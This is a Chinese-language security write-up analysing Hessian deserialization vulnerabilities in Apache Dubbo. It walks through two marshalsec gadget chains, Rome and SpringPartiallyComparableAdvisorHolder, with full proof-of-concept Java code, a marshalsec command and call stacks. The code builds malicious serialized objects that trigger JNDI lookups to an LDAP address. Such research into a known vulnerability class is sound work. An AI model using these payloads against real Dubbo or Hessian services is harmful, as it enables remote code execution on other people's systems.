Java安全之Dubbo反序列化漏洞分析
0x00 前言
最近天气冷,懒癌又犯了,加上各种项目使得本篇文断断续续。
0x01 Dubbo
Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC(一种远程调用) 分布式服务框架(SOA),致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
运行机制
Dubbo框架启动,容器Container一启动,服务提供者Provider会将提供的服务信息注册到注册中心Registry,注册中心就知道有哪些服务上线了;当服务消费者Consumer启动,它会从注册中心订阅subscribe所需要的服务。
若某个服务提供者变更,比如某个机器下线宕机,注册中心基于长连接的方式将变更信息通知给消费者。
消费者可以调用服务提供者的服务,同时会根据负载均衡算法选择服务来调用。
每次的调用信息、服务信息等会定时统计发送给监控中心Monitor,监控中心能够监控服务的运行状态。
以上图片是官方提供的一个运行流程图
节点 | 角色说明 |
---|---|
Provider | 暴露服务的服务提供方 |
Consumer | 调用远程服务的服务消费方 |
Registry | 服务注册与发现的注册中心 |
Monitor | 统计服务的调用次数和调用时间的监控中心 |
Container | 服务运行容器 |
- 服务容器负责启动,加载,运行服务提供者。
- 服务提供者在启动时,向注册中心注册自己提供的服务。
- 服务消费者在启动时,向注册中心订阅自己所需的服务。
- 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
- 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
- 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。
在使用Dubbo前,需要搭建一个注册中心,官方推荐使用Zookeeper。
下载解压 zookeeper ,将里面的 zoo_sample.cfg 内容,复制到 zoo.cfg 文件中。
tickTime=2000 initLimit=10 syncLimit=5 dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\data clientPort=2181
Zookeeper端口默认是2181,可修改进行配置端口。
修改完成后,运行 zkServer.bat 即可启动Zookeeper。
注册服务
定义服务接口 DemoService
package org.apache.dubbo.samples.basic.api; public interface DemoService { String sayHello(String name); }
定义接口的实现类 DemoServiceImpl
public class DemoServiceImpl implements DemoService { @Override public String sayHello(String name) { System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + ", request from consumer: " + RpcContext.getContext().getRemoteAddress()); return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress(); } }
用 Spring 配置声明暴露服务
<bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/> <dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/>
使用注解配置声明暴露服务,在 application.properites 中配置
dubbo.scan.base-packages=org.apache.dubbo.samples
然后在对应接口使用 @Component 或 @Service 注解进行注册
引用远程服务
consumer.xml
<dubbo:reference id="demoService" check="true" interface="org.apache.dubbo.samples.basic.api.DemoService"/>
public class HttpConsumer { public static void main(String[] args) throws Exception { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml"); context.start(); DemoService demoService = (DemoService) context.getBean("demoService"); String result = demoService.sayHello("world"); System.out.println(result); } }
配置协议:
<dubbo:protocol name="dubbo" port="20880" />
设置服务默认协议:
<dubbo:provider protocol="dubbo" />
设置服务协议:
<dubbo:service protocol="dubbo" />
多端口:
<dubbo:protocol id="dubbo1" name="dubbo" port="20880" /> <dubbo:protocol id="dubbo2" name="dubbo" port="20881" />
发布服务使用hessian协议:
<dubbo:service protocol="hessian"/>
引用服务
<dubbo:reference protocol="hessian"/>
0x02 Hessian
Hessian概述
hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
序列化
import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Person o=new Person(); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(o); output.close(); System.out.println(os.toString()); } }
反序列化
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Person p=new Person(); p.setAge(22); p.setName("nice0e3"); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(p); output.close(); System.out.println("---------------------------------"); //反序列化 ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input(is); Object person = hessian2Input.readObject(); System.out.println(person.toString()); } }
0x03 Hessian利用链
在marshalsec工具中,提供了Hessian的几条利用链
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
该链需要以下依赖
<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency>
构造分析
public interface Rome extends Gadget { @Primary @Args ( minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl } ) default Object makeRome ( UtilFactory uf, String[] args ) throws Exception { return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ])); } default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception { ToStringBean item = new ToStringBean(type, obj); EqualsBean root = new EqualsBean(ToStringBean.class, item); return uf.makeHashCodeTrigger(root); } }
在 JDKUtil.makeJNDIRowSet(args[ 0 ]) 进行跟进, arg[0] 位置为传递的ldap地址。
public static JdbcRowSetImpl makeJNDIRowSet ( String jndiUrl ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); return rs; }
创建 JdbcRowSetImpl 实例,调用 setDataSourceName 方法对实例的 dataSource 值赋值为传递进来的 jndiurl 变量,随后调用 setMatchColumn 方法,将 JdbcRowSetImpl 实例的 strMatchColumns 成员变量设置为 foo ,最后将 JdbcRowSetImpl 实例的 listeners 变量设置为空,该变量位于父类 javax.sql.rowset.BaseRowSet 中。
下面走到 makeROMEAllPropertyTrigger 方法中
default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception { ToStringBean item = new ToStringBean(type, obj); EqualsBean root = new EqualsBean(ToStringBean.class, item); return uf.makeHashCodeTrigger(root); }
实例化 ToStringBean 对象,将type(这里为 JdbcRowSetImpl.class )和 JdbcRowSetImpl 实例传递到构造方法中,下面实例化 EqualsBean 对象将 ToStringBean.class 和 ToStringBean 的实例化对象进行传递。获取到名为root的实例化对象。接着调用 uf.makeHashCodeTrigger(root) ,该位置进行跟进。
default Object makeHashCodeTrigger ( Object o1 ) throws Exception { return JDKUtil.makeMap(o1, o1); }
该位置传递2个同样的对象到 makeMap 方法中调用
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; }
实例化HashMap将长度设置为2,反射获取 java.util.HashMap$Node 或 java.util.HashMap$Entry ,实例化一个对象并且设置长度为2,并且第一个数据插入值为 java.util.HashMap$Node 的实例化对象,该对象在实例化的时候传递4个值,第一个值为0,第二和三个值为刚刚获取并传递进来的 EqualsBean 实例化对象,第四个为null。
插入的第二个数据也是如此。
走到下面则反射设置s这个hashmap中table的值为tbl,tbl为反射创建的 java.util.HashMap$Node 对象。
简化后的代码如下
//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://localhost:1389/obj"; JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl);
利用分析
poc
import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import marshalsec.gadgets.JDKUtil; import marshalsec.util.Reflections; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.sql.SQLException; import java.util.HashMap; public class remotest { public static void main(String[] args) throws Exception { //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://127.0.0.1:1389/obj"; JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null)); Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null)); Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream); hessian2Output.writeObject(s); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray(); System.out.println(new String(bytes, 0, bytes.length)); // hessian2的反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream); HashMap o = (HashMap) hessian2Input.readObject(); // makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ])); } }
到此不得不提到 Hessian 的反序列化反序列化机制,在反序列化过程或获取一个需要序列化对象的对应的反序列化器,如现在这里的 MapDeserializer 。感觉这个和Xstream的反序列化机制有点类似。反序列化机制在此不细表,后面再去跟踪该反序列化机制
public Object readMap(AbstractHessianInput in) throws IOException { Object map; if (this._type == null) { map = new HashMap(); } else if (this._type.equals(Map.class)) { map = new HashMap(); } else if (this._type.equals(SortedMap.class)) { map = new TreeMap(); } else { try { map = (Map)this._ctor.newInstance(); } catch (Exception var4) { throw new IOExceptionWrapper(var4); } } in.addRef(map); while(!in.isEnd()) { ((Map)map).put(in.readObject(), in.readObject()); } in.readEnd(); return map; }
((Map)map).put(in.readObject(), in.readObject()); 跟踪该位置
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
这里获取到的key和value的值都为 EqualsBean 实例化对象。
该位置去调用hash方法去计算hashcode的值
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
com.rometools.rome.feed.impl.EqualsBean#hashcode
public int hashCode() { return this.beanHashCode(); }
这里的hashcode是调用 beanHashCode 方法
public int beanHashCode() { return this.obj.toString().hashCode(); }
public String toString() { Stack<String[]> stack = (Stack)PREFIX_TL.get(); boolean needStackCleanup = false; if (stack == null) { stack = new Stack(); PREFIX_TL.set(stack); needStackCleanup = true; } String[] tsInfo; if (stack.isEmpty()) { tsInfo = null; } else { tsInfo = (String[])stack.peek(); } String prefix; String result; if (tsInfo == null) { result = this.obj.getClass().getName(); prefix = result.substring(result.lastIndexOf(".") + 1); } else { prefix = tsInfo[0]; tsInfo[1] = prefix; } result = this.toString(prefix); if (needStackCleanup) { PREFIX_TL.remove(); } return result; }
调用this.toString
private String toString(String prefix) { StringBuffer sb = new StringBuffer(128); try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass); Iterator var10 = propertyDescriptors.iterator(); while(var10.hasNext()) { PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next(); String propertyName = propertyDescriptor.getName(); Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this.obj, NO_PARAMS); this.printProperty(sb, prefix + "." + propertyName, value); ...
反射调用this.obj的 getDatabaseMetaData 方法
public DatabaseMetaData getDatabaseMetaData() throws SQLException { Connection var1 = this.connect(); return var1.getMetaData(); }
private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
触发lookup,后面自然不用多说了。
lookup:417, InitialContext (javax.naming) connect:624, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:158, ToStringBean (com.rometools.rome.feed.impl) toString:129, ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl) hashCode:180, EqualsBean (com.rometools.rome.feed.impl) hash:339, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) readObject:86, Hessian2ObjectInput (org.apache.dubbo.serialize.hessian) main:57, remotest
SpringPartiallyComparableAdvisorHolder
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp
该gadget需要以下依赖
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.0.0.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.1.3.RELEASE</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.6.10</version> </dependency>
构造分析
default Object makePartiallyComparableAdvisorHolder ( UtilFactory uf, String[] args ) throws Exception { String jndiUrl = args[ 0 ]; BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl); return SpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf); }
跟踪 SpringUtil.makeJNDITrigger 方法
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); return bf; }
public void setShareableResources(String... shareableResources) { this.shareableResources.addAll(Arrays.asList(shareableResources)); }
该方法将jndiurl转换成一个list对象,然后传递调用 this.shareableResources.addAll() 方法,该方法对
shareableResources 的 HashSet 进行addAll的操作
继续来到下面
设置logger的值为NoOpLog实例化对象,获取 bf.getJndiTemplate() 也进行同样操作。
接着返回bf的 BeanFactory 实例化对象
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); Reflections.setFieldValue(aif, "beanFactory", bf); Reflections.setFieldValue(aif, "name", name); AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); // make readObject happy if it is called Reflections.setFieldValue(advice, "declaringClass", Object.class); Reflections.setFieldValue(advice, "methodName", "toString"); Reflections.setFieldValue(advice, "parameterTypes", new Class[0]); AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); Reflections.setFieldValue(advisor, "advice", advice); Class<?> pcahCl = Class .forName("org.springframework.aop.aspectj.***.AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder"); Object pcah = Reflections.createWithoutConstructor(pcahCl); Reflections.setFieldValue(pcah, "advisor", advisor); return uf.makeToStringTriggerUnstable(pcah); }
创建 BeanFactoryAspectInstanceFactory 的实例化对象,名为aif,并将bf变量和name分别反射赋值到beanFactory和name中。bf为上面获取的 BeanFactory 对象。
接着创建 AbstractAspectJAdvice 对象,将 aspectInstanceFactory 的值,设置为aif变量对象进行传递。
将advice的 declaringClass 、 methodName 、 parameterTypes 分别设置为 Object.class 、 toString 、 new Class[0] ,创建 AspectJPointcutAdvisor 对象,将前面设置了一系列值的 advice 放置到 advisor 对象的 advice 变量中。
最后创建 org.springframework.aop.aspectj.***.AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder 对象,将 advisor 设置到该对象的 advisor 成员变量中。并且调用 uf.makeToStringTriggerUnstable(pcah);
跟踪该方法
public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception { String unhash = unhash(o.hashCode()); XString xString = new XString(unhash); return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); }
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; }
与前面的一致,再次就不做分析了
利用分析
poc
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xpath.internal.objects.XString; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.commons.logging.impl.NoOpLog; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; public class SpringPartiallyComparableAdvisorHoldertest { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://localhost:1389/obj"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); //反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); Reflections.setFieldValue(aif, "beanFactory", bf); Reflections.setFieldValue(aif, "name", jndiUrl); //反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); Reflections.setFieldValue(advisor, "advice", advice); //反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.***.AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder"); Object pcah = Reflections.createWithoutConstructor(pcahCl); Reflections.setFieldValue(pcah, "advisor", advisor); //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx")); HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); //反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(sf); hessian2Output.writeObject(s); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } }
以上代码 在序列化部分多出来了几行代码。我们知道,一般对于对象的序列化,如果对象对应的class没有对 java.io.Serializable 进行实现implement的话,是没办法序列化的,所以这里对输出流进行了设置,使其可以输出没有实现java.io.Serializable接口的对象。
将断点打到 com.caucho.hessian.io.MapDeserializer#readMap
public Object readMap(AbstractHessianInput in) throws IOException { ... while(!in.isEnd()) { ((Map)map).put(in.readObject(), in.readObject()); } in.readEnd(); return map; }
调用HashMap的put方法
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
与前面不同的是这里是借助putVal方法
final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))
key.equals方法位置进行跟踪
public boolean equals(Object other) { return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target); }
public boolean equals(Object obj2) { if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString()); }
调用obj2的toString
public boolean equals(Object obj2) { if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString()); }
public String toString() { StringBuilder sb = new StringBuilder(); Advice advice = this.advisor.getAdvice(); sb.append(ClassUtils.getShortName(advice.getClass())); sb.append(": "); if (this.advisor instanceof Ordered) { sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", "); }
public int getOrder() { return this.order != null ? this.order : this.advice.getOrder(); }
public int getOrder() { return this.aspectInstanceFactory.getOrder(); }
public int getOrder() { Class<?> type = this.beanFactory.getType(this.name); if (type != null) { return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647); } else { return 2147483647; } }
public Class<?> getType(String name) throws NoSuchBeanDefinitionException { try { return this.doGetType(name); } catch (NameNotFoundException var3) { throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment"); } catch (NamingException var4) { return null; } }
private Class<?> doGetType(String name) throws NamingException { if (this.isSingleton(name)) { Object jndiObject = this.doGetSingleton(name, (Class)null); return jndiObject != null ? jndiObject.getClass() : null;
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException { synchronized(this.singletonObjects) { Object jndiObject; if (this.singletonObjects.containsKey(name)) { jndiObject = this.singletonObjects.get(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null); } else { return jndiObject; } } else { jndiObject = this.lookup(name, requiredType); this.singletonObjects.put(name, jndiObject); return jndiObject; } } }
到了该位置调用 this.lookup(name, requiredType);
protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException { Assert.notNull(jndiName, "'jndiName' must not be null"); String convertedName = this.convertJndiName(jndiName); Object jndiObject; try { jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException { Object jndiObject = this.lookup(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException(name, requiredType, jndiObject != null ? jndiObject.getClass() : null);
public Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]"); } return this.execute(new JndiCallback<Object>() {
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException { Context ctx = this.getContext(); Object var3; try { var3 = contextCallback.doInContext(ctx); } finally { this.releaseContext(ctx); } return var3; }
该位置获取InitialContext对象,传递到 var3 = contextCallback.doInContext(ctx); 方法进行继续调用
public Object doInContext(Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null"); } else { return located; }
至此触发漏洞,该链比较长
调用栈
lookup:417, InitialContext (javax.naming) doInContext:155, JndiTemplate$1 (org.springframework.jndi) execute:87, JndiTemplate (org.springframework.jndi) lookup:152, JndiTemplate (org.springframework.jndi) lookup:179, JndiTemplate (org.springframework.jndi) lookup:95, JndiLocatorSupport (org.springframework.jndi) doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support) doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support) getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support) getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation) getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj) getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj) toString:151, AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.***) equals:392, XString (com.sun.org.apache.xpath.internal.objects) equals:104, HotSwappableTargetSource (org.springframework.aop.target) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) main:87, SpringPartiallyComparableAdvisorHoldertest
